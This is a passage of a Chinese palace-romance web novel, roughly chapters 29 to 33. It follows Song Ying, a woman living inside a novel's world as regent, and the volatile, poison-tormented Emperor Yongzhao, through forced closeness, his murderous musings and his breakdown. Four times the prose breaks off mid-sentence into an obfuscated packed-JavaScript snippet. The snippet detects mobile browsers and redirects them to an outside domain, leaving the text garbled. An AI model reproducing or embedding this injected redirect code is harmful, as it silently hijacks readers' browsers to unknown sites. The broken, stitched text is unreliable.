“求陛下明察,若臣所言有半句虚言,臣甘受任何处置!” 永昭帝皱了皱眉,好端端的,这是在急什么? 他侧躺在榻上,单手支头,姿势未变,好整以暇地打量着跪在地上的宋迎。 他的确派人去查过。 据宋宅下人所说,那几日府里确实人仰马翻,主母甚至查遍了所有侍女。 想来,是那燕贼想顶了她辽州秀女的名额,混入宫中。 至于当中出了什么岔子,才让对方转而寻了兖州朱氏…… 他不得而知。 但宋迎倘若真是牵扯燕党,也是后来的事。 不过月余而已,算不上有多少忠心。 他倒不甚在意。 视线从宋迎匍匐的肩胛线,滑到被她攥得发白的指节。 这双手,方才还在朱批上,写出那般漂亮的楷书。 如今,却抖成这般。 地牢里……真就那么可怕?把她吓得不轻? 永昭帝唇角勾起弧度。 枉他今日看她批注错得离谱,还以为她在动什么别的心思。 看来,是吓着她了。 “宋迎,” 永昭帝又唤回了她的名字,“过去的事,朕可以既往不咎。” 他目光饶有兴味地,遍遍描摹着她跪伏身姿。 “重要的是……现在,你是谁的人?”他问得极慢,“将来,又要当谁的人?” 而后语气一沉,又带着不容置喙的威压: “回答朕。” 这可是宋迎表忠心的好机会! 她深深叩首: “臣,宋迎,食君之禄,担君之忧,自然只会是陛下的人。” 永昭帝被陈词逗笑了。 “既然是朕的人,为何抗旨不尊?” 语调略微上扬,一听就是满腔戏弄,装出来的怒意。 宋迎眼中却真的闪过一丝惶恐,茫然抬眸:“臣、臣不知所抗何旨?” “朕让你歇息,是体恤。你若不从,便是辜负圣恩,此为不忠。” 永昭帝依旧是那副慵懒姿态,抵着额角的食指,有一下没一下地点着。 目光幽深,“你若歇不好,明日如何为朕分忧?耽误国事,此为不敬。” 他抬起另一只手,拍了拍身侧空出来的地方。 意思不言而喻。 歪理! 全都是歪理! 分明是—— 君要臣死,臣不得不死。 君要臣睡,臣……岂敢不睡! 算了…… 午后小睡而已,又不是要干嘛。 宋迎眨了眨眼,磨磨蹭蹭挪到榻边。 在距离永昭帝最远的位置,小心翼翼地脱了外履。 外袍? 外袍就不脱了,脏死他! 宋迎不敢看他,咬着牙,用最快的速度躺下。 下一瞬,一床被褥劈头盖脸扔下。 不偏不倚,正好盖在肩下三寸的位置。 锦被是贡品云锦,柔软如云,是能让人安眠的好被子。 可落在宋迎身上,却重逾千斤,每寸肌肤都在叫嚣着逃离。 宋迎拼命往床沿缩,恨不得与他隔开一条银河。 耳边,是截然不同的两种声音。 她能清晰地听到自己胸腔里那颗心—— “咚、咚、咚” 如擂鼓,如鸣金,仿佛下一秒就要破膛而出。 而与她一尺之隔的男人,呼吸声却是那样的平稳、悠长。 宋迎紧紧闭着眼,她开始强迫自己装死。 脑子里却乱成一锅粥,走马灯似的闪过地牢的血腥、御案前的威压,以及此时此刻永昭帝的—— 狗皇帝他到底想干什么! 君心难测,想不通,完全想不通。 但宋迎起码已经知道了,原书男主已经被大反派关起来了。 接下来—— 就该是女主黎婧容劫狱救人的高光剧情了! 对,目前不是逃跑的好时机。 现在绝不能轻举妄动,得等。 按照“书里写的就一定会发生”的原则—— 永昭帝马上就要死了!他死了就大结局了! 对,等他死。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15933364|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>等他死了,她就自由了! 她就可以…… 可以…… ……可以这御榻,未免也太软太舒服了。 白日里提心吊胆耗尽了她所有心神,此刻被温暖包裹着,倦意涌来,心跳不知不觉间被身侧呼吸声同化。 她竟真的睡了过去。 另一道呼吸,却微不可查的一凝。 永昭帝缓缓睁开了眼。 那双凤眸里,没有半分睡意。 他能感受到她身体细微的颤抖,感受到那份僵硬。 目光落在那道纤细身影上。 乌黑长发如瀑般,铺在朝服上,勾勒出不堪一握的肩线。 许是躺卧的姿势,那身严谨刻板的绀黄在腰际处,陷下一道柔软弧度。 他的视线,被吸引着,死死黏在那处洼地里。 喉咙,蓦地发紧。 永昭帝觉得自己身体某处地方不太对劲。 太涨了,这种燥热感用身体末端涌起,一股一股地扑向心脏。 这种感觉,只有在汲取津液,才会出现。 可现在…… 仅仅是看着她的背影,竟然也会如此? 这无法解释的反应,这突如其来的失控。 既让他陌生,又让他不解。 永昭帝眼底掠过阴鸷。 无所谓。 他自然会好好搞明白这一切。 重要的是,现在,宋迎已经为他所用了。 ……是么? 怀疑与不安又扎向他。 这个女人,谎话连篇,胆大包天。 她欺骗他,拿捏他,三番五次地冒犯他。 可他现在,居然……不想杀她了。 这个认知让他悚然一惊。 不。 眼底墨色翻了翻,杀意重生。 他还是想要杀了她的。 必须杀了她。 她太会骗人了。 她此刻的温顺,不过是畏惧他的身份,畏惧他手中的权力。 这副臣服的姿态,说不定只是她为了活命演出来的戏码。 她根本不知道,他,究竟是怎样一个怪物。 要是她知道了—— 永昭帝的唇角缓缓勾起。 他似乎能预见到那一天的到来—— 当她看清他的真实面目, 她一定会比现在更加害怕!会尖叫!会露出万分恐惧的表情! 会……离开他。 而他绝不允许,任何人,叛逃第二次。 那么, 就在她逃之前—— 杀了她。 这一次,他绝不会再心软了。 30. 第 30 章 长夜将尽,天色未明。 破晓晨钟,穿透重重殿宇,悠悠荡来,涤荡万籁俱寂。 宋迎眼睫微颤,她被这钟声惊醒了。 突然,她想到了什么。 心脏骤然一缩,猛地睁眼,望向身侧。 空了。 他走了? 他什么时候走的? 自己……竟然在万春殿睡了这么久???! 她手脚发软,从软塌上滚了下来,跌坐在地。 一身朝服被她睡得乱七八糟,领口歪斜,发髻也散了。 这还怎么去上朝? 宋迎手忙脚乱地整理着皱成一团的外袍。 突然,眼角余光一瞥。 离床榻不远的小凳上,叠着一套崭新的绀黄朝袍,旁边,还搭着一件白狐裘大氅。 宋迎的动作顿住了。 她走过去,指尖试探着碰了碰,毛茸茸触感带着暖意,微微刺了她一下。 ……提前备下的? 宋迎心头一颤,起身推开窗,裹着雪的冷风扑面而来。 外头,下雪了。 是京州初雪,细雪如盐,纷纷扬扬,尽数覆上清寂霜白。 天地间仿佛只余下落雪的簌簌声。 好安静。 雪的声音,好安静。 心头那点慌乱,竟被这场突如其来的雪抚平了。 可是宋迎来不及多欣赏。 一刻钟后,她换上朝服,匆匆往金銮殿赶去。 她身为摄政王不过数日,状态已经能够切换自如了。 踏过高高门槛,厉色闪过,清澈杏眼陡然沉下,敛去所有波澜。 金銮殿上,两个时辰下来,宋迎只觉得口干舌燥,心力交瘁。 好在,昨日与永昭帝的交锋让她早有准备。 任凭那群老狐狸如何巧立名目,她三言两语便能拆解他们的攻势,将话柄不软不硬地顶回去。 虽是艰难,却也未落下风。 朝事议下大半,也该退朝了。 看着高伯深为首的一派官员那青白交加的老脸,宋迎懒得多言,利落甩袖,转身便走。 退朝! 下班! 身后却传来一道急切的呼唤:“殿下请留步!” 只见一个身着五品文官朝服的年轻人正朝她跑来,气息微喘地在她面前站定,恭敬行礼。 都下班了还来找她干嘛? 宋迎没什么好脸色,她端出摄政王的仪态,那眼神瞬间凉了三分。 “下官工部盛向明,叩谢殿下知遇之恩!江南治水一事,下官……下官定当鞠躬尽瘁,死而后已!” 奏折上的名字,与人脸对上了号。 宋迎有些印象了。 她还以为那老练犀利的行文出自中年干吏之手,未曾想,竟是这么个初出茅庐的愣头青。 眼底寒意散去,宋迎展眉一笑,“好,本王信你。” 说着,指节微屈,宋迎学着那些书里大人物惯有的姿态,有些生涩地拍了拍他的肩。 盛向明却像是得了天大的恩赏,激动得身体一僵,复又深深一揖:“下官定不负殿下所托!” 这年轻人显然是个实心眼,不懂官场里的弯弯绕绕。 她余光一瞥,周围还没走远的官员们,纷纷投来目光,随即又加快了脚步。 但凡多在官场滚几年,也做不出大庭广众之下,与摄政王热聊的事。 盛向明没有察觉到宋迎异样的眼神,感激涕零地又表了一通决心,寒暄了四五个来回才肯放宋迎走。 好不容易送走了满腔热血,宋迎加快脚步下班。 然而,当她推开偏殿大门时,却愣住了—— 屋里,空空如也。 润德公公在养病,没有他点头,底下的小太监连个屁都不敢放。 所以,到底是谁的意思,不言而喻。 怒气“噌”一下窜上脑门,宋迎做了好几个深呼吸才将其压回心底。 她没有去寻那些小太监的麻烦。 而是转身,径直去了万春殿。 殿内恍若初春,厚厚地毯铺展脚下,悄然吞没了足音,也吞没了她满身的风雪与寒意。 然后,她看见了她的家当—— 有几本旧书被放在了书架上; 她打珞子时,缠成一团没来得及收拾的棉线,被理好放在案几上; 还有她藏着私房钱的小箱子,被堂而皇之安置在了博古架上。 整整齐齐,安安稳稳。 仿佛它们本该属于这里。 这是……什么意思? “回来了?” 一道慵懒嗓音自身后响起,敲在她耳膜上。 宋迎猛地回头—— 她的视线穿过一道晃动的珠帘。 内殿光线昏昧,永昭帝站在那光与影的交界处。 只随意披着一件素白寝衣,领口大敞,露出一段冷白脖颈和线条分明的锁骨。 墨发未束,湿漉漉地披散在肩头,水珠顺着发梢,没入衣襟深处。 那双幽暗凤眸,穿过摇曳珠光,正一瞬不瞬地将她牢牢锁住。 豺狼露出了最原始、最危险的姿态。 大白天的洗什么澡啊。 宋迎垂下眼,声音干巴巴的:“……陛下。” “过来。” 不容拒绝、也不允许拒绝。 宋迎一步步挪了过去,鼻息间,尽是潮湿水汽。 她停在了珠帘前,不敢再近。 “你的东西,都搬过来了。”永昭帝抬手,随意拨开一串珠帘,露出半张脸来,“可还满意?” 满意?满意个屁! 她什么时候说过要搬过来了?! 这是强买强卖!这是非法入侵! 宋迎暗中觑着他,见他面色虽白,但中气十足,眼神锐利,力气估计都够绕万春殿跑三圈了。 看来黎婧容当初下的那点药,早就被他代谢干净了。 真他丫的祸害遗千年。 “陛下,臣惶恐。”宋迎挣扎道,“臣见陛下今日精神矍铄,龙体康健,想来已无大碍……” 话音未落,永昭帝突然大声咳嗽起来。 那咳声惊天动地,不见虚弱,像是故意咳给她听的,敷衍得明目张胆。 他咳完了,才慢悠悠地掀起眼皮,眼底一片笑意。 “朕的身子,朕说病了,便是病了。” 一句话,将宋迎所有的退路堵死。 她一口气堵在喉咙口,上不去也下不来。 霸道!蛮横!仗病行凶! 书里那个“病弱体虚”的永昭帝,原来是这么个“病弱”法! 见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15946475|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋迎小脸气得涨红,却又不敢发作,只得怔在原地。 永昭帝眼底兴味更浓。 他喜欢看她这副模样—— 湿漉漉的眼眸、颤抖的身体、紧咬的下唇。 他伸出手,彻底撩开碍事的珠帘。 “宋迎,”他目光灼灼地盯着她的唇,“既是朕的药,就该有做药的本分。” 话音落下的瞬间,手臂不由分说揽住那截腰肢。 不等宋迎惊呼,吻,俯身落下。 珠帘轻摇,光影凌乱,宋迎失手抓住一串珠子。 舌尖撬开齿关,攻城掠池。 宋迎心口微颤—— 五指一松,满串珠玉从指间滑落,砸下靡丽的清脆。 这狗皇帝……吻技好像又进步了。 起初是急切的、贪婪的、不容喘息的,渐渐地,却又放缓了力道…… 更何况狗皇帝刚刚洗过澡,墨发半湿,寝衣松垮…… 难保宋迎不多想—— 熬不到晚上,光天白日的,恐怕…… 算了。 她闭上眼,试探着伸手,在腰腹上摸了一把。 嗯,手感还行。 就在她以为一切都将失控时,唇上的力道却倏然一松。 永昭帝放开了她,后退一步,眼底翻涌的潮水已然褪去。 他拢了拢微敞的衣襟,“今夜,就睡在里间吧。” 说罢,真的去披了件外衫,径直走向御案。 “还愣着做什么,”他头也不回地吩咐,“过来,替朕磨墨。” 高压教学又要开始了。 宋迎:…………? 她觉得自己每次都想歪。 每次。都。 这样很不好。 非常不好。 可是—— 又亲又抱,又让人同睡,气氛都烘托到这儿了,这难道不是某种心照不宣的流程吗?! 她连被子都准备掀了,他就给她看奏折?! 宋迎快气炸了。 …… …… 夜,又深了。 万春殿的御榻,比昨日的更大,更软。 可宋迎躺在上面,无论如何也睡不着了。 宋迎真的好气。 孤男寡欲共处一室。 把人撩拨得心浮气躁,拖上床,就盖着被子,三、秒、入、睡?! 这合理吗? 这狗皇帝是不是在吊着她啊? 宋迎越想越气。 黑暗中,她终于没忍住: “日哦。” 她把心里话骂出来了。 身侧平稳的呼吸骤然一乱。 宋迎的心瞬间提到了嗓子眼。 他醒了? 听见了?! 突然,她听见了一声: “别走……” 像是喉间尚未吞下的呓语。 紧接着,是细微的、压抑的喘息。 “……冷……” 宋迎屏住呼吸,僵着身体,一动不敢动。 “百……墓……别去……” 百墓是什么东西? 好像哪里听过。 还没等她消化这个信息,一只大手猛地抓住了她的手腕! 宋迎瞳孔骤缩,搞什么,白日禁欲,晚上梦游发疯啊! 31. 第 31 章 下一瞬,那只手猛地松开,缩了回去。 黑暗中,宋迎听见永昭帝的窸窣声。 他坐起身,又粗又急的呼吸声,一声声砸在宋迎心上,将她的心跳也一并带得紊乱不堪。 她十指默默攥紧被子。 半晌,永昭帝沙哑嗓音响起,带着大梦初醒的恍惚: “……你醒了?” 宋迎本打算继续装死。 但刚才手腕上那一下,实在是太疼了。 要是没醒,未免也太假了。 她含糊不清地“嗯”了声。 恍惚褪去,他声音更沉,又问:“方才……你可听到了什么?” 来了吧,宋迎在心底嗤了一声。 她就知道狗皇帝在演戏。 欲擒故纵玩真溜,不去梨园唱一台都屈才了。 又想吊着她? 她偏偏不接招。 宋迎把自己埋进被子里,慢吞吞翻了个身,用后背对着他。 “唔……没有呀。”声音隔着锦被,闷闷的,透出朦胧睡意,“陛下……是梦魇了吗?” 黑暗中,传来一声他若有似无的轻叹。 “无事,”他淡淡道,“做了个噩梦罢了。” 身侧的床榻微微下陷,他重新躺下。 “不过是些陈年旧事,惊扰到你了。”永昭帝道,“睡吧,夜深了。” 欲说还休,点到为止。 高明,实在是高明。 宋迎无声地睁着眼。 她知道,他根本没睡。 这不是梦呓,是钩子! 每一个字,每一句话,都是在引导她去追问,去调查那个地方—— 百墓坡。 百墓坡是什么地方? 她当然知道。 那是埋葬宫中怨魂的乱葬岗。 从前那些秀女的尸首,都被扔在那里。 知晓此事,就是嫌自己命长。 可他,为什么要故意让她知道? 难道狗皇帝越来越依赖她,打算对她敞开心扉了? 宋迎忽然觉得,腕上那圈被他握过的余温,陡然变得滚烫起来。 不不不。 宋迎心沉了一下,太危险了。 探寻一个疯子的过去,是心疼的开始,是沦陷的源头。 代表着挣脱不掉的纠缠,代表着万劫不复的开始! 宋迎闭上眼,全身心都在抗拒着那份好奇。 翌日午后,雪霁初晴。 用过午膳,永昭帝懒懒倚在软榻上小憩。 “宋迎。”他忽然开口。 宋迎正抄录奏折批注,闻言笔尖一顿。 “去把角落里那些旧档整理了。”他随口吩咐道,“积了那么厚的灰,看着心烦。” 来了。 局中局。 ……她就说昨天晚上他根本就是故意的!! “陛下恕罪,”宋迎立刻放下笔,转身面露难色:“臣今日……身子不爽利。” 她咬了咬下唇,佯装羞赧:“是……葵水来了。” 这招宋迎屡试不爽。 谁知,永昭帝掀了掀眼皮。 视线落在宋迎身上,似笑非笑。 “是么?”他反问,“可朕,并未闻见血气。” 宋迎的心咯噔一下,那她之前装病……? 丫的! 她怎么忘了,这狗皇帝的五感异于常人,鼻子比狗还灵! 目光如有实质,要将宋迎层层剥开。 她只能硬着头皮,往他设好的陷阱里跳。 余光飞速扫过博古架,她瞧见上头插着腊梅的花瓶。 电光火石间,她身形一个踉跄,手腕一偏,恰好扫了过去—— “哗啦——” 满瓶清水兜头泼洒在最上面的卷宗上。 陈年墨迹遇水即化,顷刻间晕成了模糊污迹,字迹再也无法辨认。 宋迎大惊失色,扑通一声跪在地上。 “陛下!臣……臣失手污了卷宗,罪该万死!” 永昭帝闻声而来,一双云纹鞋履站定在她身前。 目光顺势压下。 他没有出声。 宋迎伏在地上,狗皇帝肯定知道自己已经看穿了他的心思。 那么,下一步棋,又会落在何处? 也不知过了多久,那目光终于移开。 “下去吧。” 比起雷霆震怒,不咸不淡的声音更让宋迎心头发紧。 “……是。” 宋迎低声应下。 她见惯了白磷性格的狗皇帝。 如今这忽冷忽热的模样,宋迎有些莫名其妙。 出了殿门,宋迎抬头看了看天色。 是时辰了。 金銮殿送圣旨那天,润德公公身子还没好全,又病下了。 此后,她每隔三日,便会去探望一回。 一路行去,冷风灌入衣领。 索性润德公公的住处不算远,宋迎加快了脚步。 …… 屋里烧着地龙。 润德公公半靠在床上,脸色蜡黄干瘪,但眼神却清明得很。 宋迎在床边坐下。 问了病情,又拣了些宫中无关痛痒的闲话,聊了聊。 然而,润德公公始终没有接话,目光在她脸上打转。 忽然,他低低咳了两声,打断了她的话。 “宋小姑娘,”他叹了口气,“您不必与咱家兜圈子了。” 心头不安放大,宋迎疑惑眨眼。 “有些事,陛下想让您知道,那便是掘地三尺,也是非送到您面前的。” “躲不掉。” ……狗皇帝他是非要让她知道不可吗? 她霍然起身,语无伦次地想要打断:“我……我不想……” “小姑娘聪慧,已猜到陛下时常为五感失控所困。”润德公公语速缓慢,“那你可知,从前,陛下是如何平息的?” 宋迎没说话,可她知道。 ——杀戮。 这两个字迅速在她脑中晕开。 唯有更剧烈的痛苦,才能覆盖痛苦。 唯有更癫狂的刺激,才能压下刺激。 脸上血色一下子褪得干净,她垂在身侧的指尖微微发抖。 秀眉一蹙,宋迎再也听不下去,转身便向屋门走去。 润德公公在她身后悠悠地说: “小姑娘现在走了,陛下……下次就不知道会用什么法子让您知道了。” “到那时,”语气加重,“恐怕就不止是听个故事这么简单了。” 润德公公再次长长叹息。 ““陛下自幼便是这般执拗性子……” “……是逃不掉的。” 宋迎无奈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958212|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只能任凭一字一句钻入耳腔。 心也跟着提到了嗓子眼。 他复又说道: “那燕国奇蛊,本是种在先皇身上的。此蛊阴毒,跗骨噬心,却并非无解。” “解法,便是……血脉为引,骨肉为祭。” “先皇为解脱自身,毫不犹豫地……诞下了陛下,将无尽折磨,转移到了婴孩身上。” 原来如此…… 原来是这样。 本该承受一切的是先皇,而非永昭帝?! 寒意从宋迎喉咙口炸开,蔓至全身。 的确,那时候先皇踏破燕国国都,没多久永昭帝便出生了。 没想到背后竟是—— 父食子。 “……公公。” 宋迎低哑出声。 润德公公苦笑道: “陛下自幼便被蛊毒侵蚀,五感失控,痛苦难当……失了心智后,他、陛下他会控制不住地啃咬自己的生母……” “先皇后……怕极了,视陛下为……怪物。” 声音陡然一空,“……便扔给了咱家。” 宋迎有些恍惚。 呼吸都停了半拍,耳边一片嗡鸣。 可润德公公接下来的话,却是悚然至极: “小姑娘以为,那百墓坡里,埋的……只是秀女么?” 后面的话,他终究是没忍心说出口。 他太了解陛下了。 陛下要他说的,他都说了。 接下来,他也该说说心里话了。 “小姑娘,”润德公公望着宋迎背影,“陛下所做的一切,不过是想看看……您会不会也像那些人一样……” 又是试探。 没完没了的忠诚度测试,他是有什么KPI考核吗? 这些,又跟她宋迎有什么关系? 男女主的主线她躲都来不及,更不想招惹什么大反派。 她要回家。 ——宋迎第一反应是不知所措的时候,仍旧是想要回家。 心理有疾病就去找心理医生,她又不会治病! 她没空跟大反派在这促膝长谈,进行话疗救赎。 见她不语,润德公公轻轻唤了声:“宋小姑娘……” 他什么也没问,却是什么都问了。 “公公说笑,”宋迎负手而立,背挺得笔直,“这等皇家秘辛,牵连甚广,岂是我……能妄议的。” 润德公公脸上表情僵了一瞬。 然而,宋迎话锋一转。 她敛着笑,目光冷冽明亮。 应该有暗卫在记录她此刻表情吧。 他既然这么想要一个态度, 好,那她就给他一个。 宋迎转身: “不过……” “若是我,生来被至亲所食,被生母所弃,被举世唾骂……” 她微微勾唇,笑意衬得眼中寒光迸现: “我只会做得……比他更过分。” 她朝外挑了挑眉,赶紧录下来让狗皇帝看看! 丫的把她弄急了她也是不好惹的主! …… …… 一墙之隔。 风雪灌入长廊,凄厉声拍着屋檐。 永昭帝僵站在廊下,第一次,有些不知所措地,望向了那堵隔开他们两人的墙。 风雪扑面,却浑然不觉。 32. 第 32 章 “我只会做得……比他更过分。” 宋迎的声音很轻,廊下风雪呼啸,本该是听不清的。 但是,他听见了。 世界,突然安静了一瞬。 永昭帝无比清晰地,听见了每一个字。 风声、雪声、心跳声,连同他骨血里叫嚣了二十余年的蛊毒,也在这一刻,从命脉里被生生剥离。 撕开腐烂的过往,剥开皮肉,露出森森白骨,扔到她面前—— 他算准了她的反应。 会惊、会惧、会像所有人那样,避他如蛇蝎。 是她先怕了他!厌了他! 这样,他便有了理由,有了决心,去亲手抹除掉这个变数。 可他千算万算,没算到—— 突然,他仿佛又看见了那片尸山血海。 男人冕旒歪斜,半身破败,只能用两根指节攥着他的袍角; 女人发丝凌乱,肩头血窟窿泊泊流着血,浸湿了他的靴底; 无数怨毒的手从地狱里伸出,攀上他,嘶吼着,诅咒着,要将他拖回炼狱…… 而宋迎,就站在另一头。 踏在尸山血海中央,承认了他所有罪孽的正当性。 好疼。 比刀子捅进去更疼,比蛊毒噬心更疼。 好疼。 疼到又开始不受控制地痉挛,疼到他死死咬住牙关,牙根却依旧在打着颤。 疼痛过后,紧随而至的是恐惧。 恐惧比尸山血海更真实,比地狱里的怨魂更可怖! 他后悔了。 他为什么要让她知道这些? 嵌入血肉的粘腻触感、尸体腐臭的气息,疯狂倒灌回脑中。 他仿佛能看见宋迎干净的脸上,溅上了他的血污; 看见她纤细脖颈,再次被他失控的手扼住; 看见她清亮双眸熄灭火光,变成又一具枯骨。 不。 不可以! 绝不可以! 她不能死。 她不能死! 永昭帝猛地转身,再不敢看那面墙壁一眼。 墨发翻飞,眼底涌起骇人赤色。 他几乎是逃回了万春殿。 殿内地龙压不住彻骨寒意,驱不散眉宇戾气。 他复又折回殿门口,随手指了名内侍,声音又冷又沉: “传朕口谕。” 眼底赤色沉为一点猩红,“无朕传召,摄政王,不必再入内殿。” * 宋迎倒是对润德公公那番话不甚在意。 听过且过。 她才不踩坑呢。 手段稚嫩,陷阱挖得明晃晃,跟直接问她“想不想活命”有区别吗? 哪个傻子会往里跳? 也就是狗皇帝没经历过九子夺嫡的地狱副本,喜怒全凭心情。 这要是搁在现代职场,早被她这种老油条玩得连裤衩都不剩了。 这么想着,宋迎唇角勾了勾。 下朝后,她打算再去表表忠心,再欣赏一下永昭帝的表情。 可到了万春殿外,却被一个眼熟又喊不出名字的小太监伸手拦下。 “殿下请留步。”小太监躬身道,“陛下有旨,今后您不必入内殿伺候,若有政务,自有宫人去东偏殿呈送,不劳烦殿下。” 唇角凝笑,宋迎挑了挑眉。 他自己主动把秘密告诉她的,说完又挂不住脸,玩冷战? “知道了。”她波澜不惊,颔首道,“有劳公公了。” 搞得她乐意跟他同居似的。 正好回去点点小箱子里的私房钱有没有少。 说罢,转身回了自己的东偏殿,没有半分留恋。 之前的置物都被原封不动的搬了回来。 没了狗皇帝在旁边当监工,她自己一个人干活还舒心些。 宋迎上手极快。 经过永昭帝的点拨,不过几日,批阅奏折已是游刃有余。 只是有些大事,还需要他亲自拍板。 “钦州盐引一案,盘根错节,不可急于一时,暗中派人前往,分而化之。” “淮南水患未平,国库空虚,修缮祭台一事,驳回驳回。” “吏部……新科进士任免……” 朱笔划过一行行名字,笔势却在奏折末尾,骤然一顿。 ——宋晋同。 是兄长! 刹那间,鼻腔一酸,眼前瞬间腾起一片水雾。 宋迎眨了眨眼,勉强将酸涩压下,看清了后面六个字: 自请辞官还乡。 兄长高中进士后,竟然……辞官还乡了?! 算了算日子,正好是自己入宫前后。 攥着笔杆的手在抖,所以,兄长十年寒窗,一朝金榜题名,却为了她……放弃了前程? 手抑制不住地轻轻颤抖。 思乡情切又被勾起,裹杂着愧意,瞬间冲垮了心防。 她做了数次深呼吸,才咽下哽咽。 喉头哽得生疼。 不能急,宋迎,你不能急。 她逼着自己,将思绪重新落回朝政上。 宋迎抬手抹去眼角湿痕,面无表情地翻开了下一本奏折。 再落笔时,腕下字迹依旧清隽锋利。 她将批阅好的奏折分门别类,码放整齐,才扬声唤来宫人转呈。 日升,月落。 长灯一夜未熄。 一日。 两日。 三日。 …… …… 永昭帝真成了甩手掌柜。 一摞摞被她批阅完的奏折,送去万春殿; 又有一摞摞被他阅过之后的奏折,送至偏殿。 本本奏折上,只有龙飞凤舞的的朱批—— 准。 日复一日,两人之间,仿佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15964574|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只剩下了纸张往来。 宋迎却并不觉得狗皇帝讨厌她。 恰恰相反,她越来越笃定,狗皇帝喜欢她。 若非如此,何必让润德公公拐弯抹角地,告知她那些陈年旧事? 若非如此,又何必这样避而不见,他到底在怕着什么? 狗皇帝一定是喜欢她。 喜欢她,所以才不见她。 想通了这一点,宋迎不急了。 她倒要看看,狗皇帝接下来要唱哪出。 只是偶尔想起,离了她,他怕是又要夜夜受折磨了吧。 ……活该。 宋迎把方才情绪收了收。 热脸贴冷屁股的事,她不做。 他想做孤君,她便安安分分做能臣。 他要公事公办,她就比他更铁面无私。 这是情感博弈。 谁主动,谁低头,谁认输。 她不能输, 她要赢。 宋迎搁下笔,起身走到窗边,活动一下筋骨。 窗外,又飘起了细雪,檐角覆了层新霜。 万春殿主殿与东偏殿,不过数步之遥。 永昭帝立在内殿后侧的窗格内,便可穿越风雪,望见东偏殿的长案。 他已经这样,看了她许多天。 不必刻意去听,她翻动奏纸的声音; 不必用力嗅闻,她身上墨香混杂着的清甜; 甚至那盏亮至中宵的烛火,只一眼,便可灼痛他的眼睛。 过去能让他瞬间平息的感知,如今却成了无时无刻的煎熬。 既贪恋又窒息。 他摊开御案上的奏折,是她清秀峭然的字迹。 从批注的口吻到处置的决断,无一不带着他亲手教导出的影子。 不愧是他的人,聪慧能干。 可疏离的时间越长,这点骄傲却成了体内凶兽的养料,变得越发躁动。 从细微的耳鸣,到指尖控制不住地痉挛。 渐渐地,眼前事物又开始重影剥离。 他强行压制着,脸色却一日比一日苍白阴郁。 一名小太监捧着卷宗,战战兢兢地立在殿外: “陛、陛下……殿下说今日公务棘手,还请您……亲自定夺。” 宋迎。 永昭帝在心里默念了一遍她的名字。 五感在刹那间彻底失控。 眼前烛火骤然炸开,千万根金针刺入他眼底; 窗外梅香陡然浓郁百倍,他几欲作呕; 殿外巡夜禁军步履沉重,无数重锤,砸在他头颅上! “呃啊——” 他喉间溢出一声痛苦闷哼。 殿外,小太监张开双臂,拦住了想要闯进去的宋迎。 “殿下!陛下吩咐过,任何人不得……” 吩咐你个球! 宋迎懒得废话,一把推开他,径直闯了进去。 33. 第 33 章 万春殿内的景象,不禁让宋迎心脏骤缩。 哪里还有半分天子寝殿的庄重,俨然是个废墟场。 御案中间被砸塌下去,木刺外翻得狰狞。 桌上笔洗碎成残片,墨锭断成数截,与茶水混作一处,从案上淋漓而下,一直泼洒到盘龙金柱上,弄污了雕龙图腾。 文书更是被撕碎揉烂,铺满了地。 目光掠过地上,宋迎盯着一团烂纸瞧了好久,还好不是她熬夜批注的那些。 整个大殿,没有一寸完好的地方。 说实话,宋迎觉得又好气又好笑。 狗皇帝宁可自虐到这个地步,也不愿意见她吗? 狗皇帝是不是已经意识到…… 他自己喜欢她了啊? 所以不愿意见她, 那就是不愿意承认咯。 宋迎不想弄脏衣服,提着衣摆,小心翼翼地避开脚下脏污。 视线又要时不时上抬,梭巡着永昭帝。 他不在,这片狼藉之中。 那他人呢? 下一秒,宋迎在墙角阴影里发现了他。 一头墨发早已不成形,地龙明明烧得旺,额角却满是汗珠,不知是冷是热,只觉苍白侧脸浸得狼狈。 身上那件寝衣被蛮力扯开,开了线,大敞着,随着压抑的喘息,胸膛微微起伏着。 